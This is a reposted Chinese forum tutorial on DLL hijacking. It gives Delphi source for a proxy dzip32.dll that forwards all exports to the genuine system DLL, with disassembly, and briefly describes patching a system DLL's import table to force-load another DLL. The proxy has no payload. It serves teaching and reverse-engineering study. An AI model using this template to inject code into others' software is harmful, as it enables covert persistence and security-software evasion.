刚刚查点资料,翻到看雪一篇文章,写的还行(作者功力欠佳,从他文章描述来看,他对这方面的知识十分缺乏……),就转过来了,貌似没人怎么关注这个……
文章有少量修改,并进行了一下排版。
标 题: [原创]dll 劫持 详细分析
作 者:kwting
时 间:2011-10-30,18:17:20
链 接:http://bbs.pediy.com/showthread.php?t=142108
dll 劫持技术我想对于大家来说都不陌生吧。。。。。。dll劫持在很多方面应用很广。。尤其是对于某些xx杀毒软件 xx 安全卫士在某些方面有用。。
dll 劫持技术操作起来其实很简单 这个技术出现的原因。。我想是因为在软件中对于很多系统的dll 没有一个固定的加载路径导致的吧(个人这样想的),于是他在软件启动的时候对于有的dll便用搜索的方式查找。。。。于是导致dll劫持技术的产生。。。。
dll劫持技术就是先编写一个和需要劫持的dll的同名的dll ,那么这个dll需要的是拥有和原本dll相同的输出表,从而使得dll 被劫持后任然能正常工作。
在不久前,我还不知道有这个技术的存在(才疏学浅),看到有人把一个dll放到exe下面。。。那个dll也就自动运行了。。。当时我就很纳闷。。因为据我所学的dll 不能单独运行的。。。我想那个exe是某游戏公司的,那么那个exe不可能调用这个dll、、、、、很久很久以后我知道了。。原来这门技术叫dll 劫持技术、、、
下面我就详细说一下如何劫持dll 吧。。。下面用到的是:pascal 编程语言 工具是delphi 7
****************** 劫持dzip32.dll ********************************
Library dzip32; uses Windows, SysUtils, Classes; {$R *.res} var ModHandle: Cardinal; pdzip,pdzipVB,pgetZipExternalCancel,pgetZipProgTitle,pregisterExternZipProg,presetZipProgTitle:pointer; psetZipExternalCancel,psetZipProgTitle:pointer; PROCEDURE dzip ; asm jmp pdzip end; PROCEDURE dzipVB ; asm jmp pdzipVB end; PROCEDURE getZipExternalCancel ; asm jmp pgetZipExternalCancel end; PROCEDURE getZipProgTitle ; asm jmp pgetZipProgTitle end; PROCEDURE registerExternZipProg ; asm jmp pregisterExternZipProg end; PROCEDURE resetZipProgTitle ; asm jmp presetZipProgTitle end; PROCEDURE setZipExternalCancel ; asm jmp psetZipExternalCancel end; PROCEDURE setZipProgTitle ; asm jmp psetZipProgTitle end; exports dzip, dzipVB, getZipExternalCancel, getZipProgTitle, registerExternZipProg, resetZipProgTitle, setZipExternalCancel, setZipProgTitle; begin ModHandle:= LoadLibrary('C:\WINDOWS\system32\dzip32.dll'); if ModHandle > 0 then begin Pdzip:= GetProcAddress(ModHandle, 'dzip'); PdzipVB:= GetProcAddress(ModHandle,'dzipVB'); PgetZipExternalCancel:= GetProcAddress(ModHandle,'getZipExternalCancel'); PgetZipProgTitle:= GetProcAddress(ModHandle, 'getZipProgTitle'); PregisterExternZipProg:= GetProcAddress(ModHandle, 'registerExternZipProg'); PresetZipProgTitle:= GetProcAddress(ModHandle, 'resetZipProgTitle'); PsetZipExternalCancel:= GetProcAddress(ModHandle, 'setZipExternalCancel'); PsetZipProgTitle:= GetProcAddress(ModHandle, 'setZipProgTitle'); end; end.
**************************************************************
上面的源码很简单 。。。简单的几句代码便可以劫持dzip.dll这个文件了。。。。其实上面真正有用的无非就
1:PROCEDURE dzip ; asm jmp pdzip end;
2:ModHandle:= LoadLibrary('C:\WINDOWS\system32\dzip32.dll');
3:Pdzip:= GetProcAddress(ModHandle, 'dzip');
其他的都是一样的。。。。。。。。。。。我们首先来看一下系统中dzip.dll这个文件的输出表(lordpe)
->Export Table Characteristics: 0x00000000 TimeDateStamp: 0x44BD369E (GMT: Tue Jul 18 19:29:34 2006) MajorVersion: 0x0000 MinorVersion: 0x0000 -> 0.00 Name: 0x00021608 ("DZIP32.dll") Base: 0x00000001 NumberOfFunctions: 0x00000008 NumberOfNames: 0x00000008 AddressOfFunctions: 0x000215B8 AddressOfNames: 0x000215D8 AddressOfNameOrdinals: 0x000215F8 Ordinal RVA Symbol Name ------- ---------- ---------------------------------- 0x0001 0x000017B0 "dzip" 0x0002 0x00002650 "dzipVB" 0x0003 0x00004E50 "getZipExternalCancel" 0x0004 0x00004DC0 "getZipProgTitle" 0x0005 0x00004C40 "registerExternZipProg" 0x0006 0x00004D30 "resetZipProgTitle" 0x0007 0x00004E70 "setZipExternalCancel" 0x0008 0x00004CB0 "setZipProgTitle"
他的导出函数很少。。。所以我才采用这个dll来讲。。。。。。
到处函数就8个 。。。。。。。。。。。。。。。。。。。。。
于是
1:PROCEDURE dzip ; asm jmp pdzip end;
这个函数就是伪造一个同名的dzip 函数。。。然后通过如果调用这个函数的时候便主动跳到这个函数的真正地址。。于是才能够不影响这个dll的正常功能。。。那么进行跳到这个地址的操作就
asm jmp pdzip // 就是跳到系统中dzip中 dzip 函数的头部。。 end;
用od 加载一下就可以看到了
009E9707 90 nop 009E9708 >- FF25 700E9F00 jmp dword ptr ds:[0x9F0E70] ; dzip32_1.dzip 009E970E C3 retn 009E970F 90 nop 009E9710 >- FF25 740E9F00 jmp dword ptr ds:[0x9F0E74] ; dzip32_1.dzipVB 009E9716 C3 retn 009E9717 90 nop 009E9718 >- FF25 780E9F00 jmp dword ptr ds:[0x9F0E78] ; dzip32_1.getZipExternalCancel 009E971E C3 retn 009E971F 90 nop 009E9720 >- FF25 7C0E9F00 jmp dword ptr ds:[0x9F0E7C] ; dzip32_1.getZipProgTitle 009E9726 C3 retn 009E9727 90 nop 009E9728 >- FF25 800E9F00 jmp dword ptr ds:[0x9F0E80] ; dzip32_1.registerExternZipProg 009E972E C3 retn 009E972F 90 nop 009E9730 >- FF25 840E9F00 jmp dword ptr ds:[0x9F0E84] ; dzip32_1.resetZipProgTitle 009E9736 C3 retn 009E9737 90 nop 009E9738 >- FF25 880E9F00 jmp dword ptr ds:[0x9F0E88] ; dzip32_1.setZipExternalCancel 009E973E C3 retn 009E973F 90 nop 009E9740 >- FF25 8C0E9F00 jmp dword ptr ds:[0x9F0E8C] ; dzip32_1.setZipProgTitle 009E9746 C3 retn
上面是通过od 加载后看到的汇编代码。。。。。。
他的源码其实就是
PROCEDURE dzip ; asm jmp pdzip end; PROCEDURE dzipVB ; asm jmp pdzipVB end; PROCEDURE getZipExternalCancel ; asm jmp pgetZipExternalCancel end; PROCEDURE getZipProgTitle ; asm jmp pgetZipProgTitle end; PROCEDURE registerExternZipProg ; asm jmp pregisterExternZipProg end; PROCEDURE resetZipProgTitle ; asm jmp presetZipProgTitle end; PROCEDURE setZipExternalCancel ; asm jmp psetZipExternalCancel end; PROCEDURE setZipProgTitle ; asm jmp psetZipProgTitle end;
****************************************************************
就拿这段来分析分析吧。。
009E9708 >- FF25 700E9F00 jmp dword ptr ds:[0x9F0E70] ; dzip32_1.dzip 009E970E C3 retn
对于的源码是
PROCEDURE dzip ; asm jmp pdzip end;
就是通过伪造这个函数名。。当这个函数被调用 时候就自动跳到真的函数地址当执行玩成后再跳回去
比如
***************************************************************
于是基本的都弄清楚了。。。。。。。。。。大家也许还有个疑问 就是软件是怎么知道哪个地址是他函数的真正的地址呢
于是
2:ModHandle:= LoadLibrary('C:\WINDOWS\system32\dzip32.dll');//如果系统盘不是c盘。。。那么自己先获取系统盘符。。然后改一下就行了。。。
3:Pdzip:= GetProcAddress(ModHandle, 'dzip');
这2个函数便起作用了...............................
所谓的地址只有当dll加载到内存中才可能有地址。。。。于是
ModHandle:= LoadLibrary('C:\WINDOWS\system32\dzip32.dll');
这一句的作用便是加载dll
Pdzip:= GetProcAddress(ModHandle, 'dzip');
这一句便是在真正的dll中获取dzip的地址
在dll入口。用ida 看一下便知道
**********************************************************
BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) CODE:00479A4C public DllEntryPoint CODE:00479A4C DllEntryPoint: CODE:00479A4C push ebp CODE:00479A4D mov ebp, esp CODE:00479A4F add esp, 0FFFFFFC0h CODE:00479A52 push ebx CODE:00479A53 push esi CODE:00479A54 push edi CODE:00479A55 xor eax, eax CODE:00479A57 mov [ebp-40h], eax CODE:00479A5A mov eax, offset dword_4797AC CODE:00479A5F call sub_406070 CODE:00479A64 xor eax, eax CODE:00479A66 push ebp CODE:00479A67 push offset loc_479B74 CODE:00479A6C push dword ptr fs:[eax] CODE:00479A6F mov fs:[eax], esp CODE:00479A72 mov esi, offset dword_479B84 CODE:00479A77 mov edi, offset unk_480D6C CODE:00479A7C mov ecx, 40h CODE:00479A81 rep movsd CODE:00479A83 push 0FFh CODE:00479A88 push offset unk_480D6C CODE:00479A8D call GetSystemDirectoryA CODE:00479A92 lea eax, [ebp-40h] CODE:00479A95 mov edx, offset unk_480D6C CODE:00479A9A mov ecx, 100h CODE:00479A9F call sub_40434C CODE:00479AA4 mov edx, [ebp-40h] CODE:00479AA7 mov eax, offset dword_480E6C CODE:00479AAC mov ecx, offset dword_479C8C CODE:00479AB1 call sub_4043E8 CODE:00479AB6 mov eax, ds:dword_480E6C CODE:00479ABB call sub_40459C CODE:00479AC0 push eax CODE:00479AC1 call LoadLibraryA CODE:00479AC6 mov ebx, eax CODE:00479AC8 test ebx, ebx CODE:00479ACA jbe loc_479B50 CODE:00479AD0 push offset aDzip ; "dzip" CODE:00479AD5 push ebx CODE:00479AD6 call GetProcAddress_0 CODE:00479ADB mov ds:dword_480E70, eax CODE:00479AE0 push offset aDzipvb ; "dzipVB" CODE:00479AE5 push ebx CODE:00479AE6 call GetProcAddress_0 CODE:00479AEB mov ds:dword_480E74, eax CODE:00479AF0 push offset aGetzipexternal ; "getZipExternalCancel" CODE:00479AF5 push ebx CODE:00479AF6 call GetProcAddress_0 CODE:00479AFB mov ds:dword_480E78, eax CODE:00479B00 push offset aGetzipprogtitl ; "getZipProgTitle" CODE:00479B05 push ebx CODE:00479B06 call GetProcAddress_0 CODE:00479B0B mov ds:dword_480E7C, eax CODE:00479B10 push offset aRegisterextern ; "registerExternZipProg" CODE:00479B15 push ebx CODE:00479B16 call GetProcAddress_0 CODE:00479B1B mov ds:dword_480E80, eax CODE:00479B20 push offset aResetzipprogti ; "resetZipProgTitle" CODE:00479B25 push ebx CODE:00479B26 call GetProcAddress_0 CODE:00479B2B mov ds:dword_480E84, eax CODE:00479B30 push offset aSetzipexternal ; "setZipExternalCancel" CODE:00479B35 push ebx CODE:00479B36 call GetProcAddress_0 CODE:00479B3B mov ds:dword_480E88, eax CODE:00479B40 push offset aSetzipprogtitl ; "setZipProgTitle" CODE:00479B45 push ebx CODE:00479B46 call GetProcAddress_0 CODE:00479B4B mov ds:dword_480E8C, eax CODE:00479B50
**********************************************************
对着源码看一下便一目了然了。。我就不再这里重复了。。。。。。
上面分析了dll 劫持。。。
///*********************************************************
下面再说一种改dll的导入表。。一样能达到相同的功能。。就是让别的软件自动加载你的dll的效果。。。
用到的工具很简单。。其实这个方法属于自己想到的。。。不久以后我再看雪的书上看到了同样的方法,。。。。。不论怎么样。。。。学到是自己的就行了。。。
下面我用的是lordPE这个工具。。。改系统dll的导入表
下面的我就简单讲一下了。。操作很简单
当某个软件调用这个dll 那么这个dll 就会加载他导入表中的所有dll 这样你的dll也自然加入到内存中去了
这个很简单。。。我就不详细分析了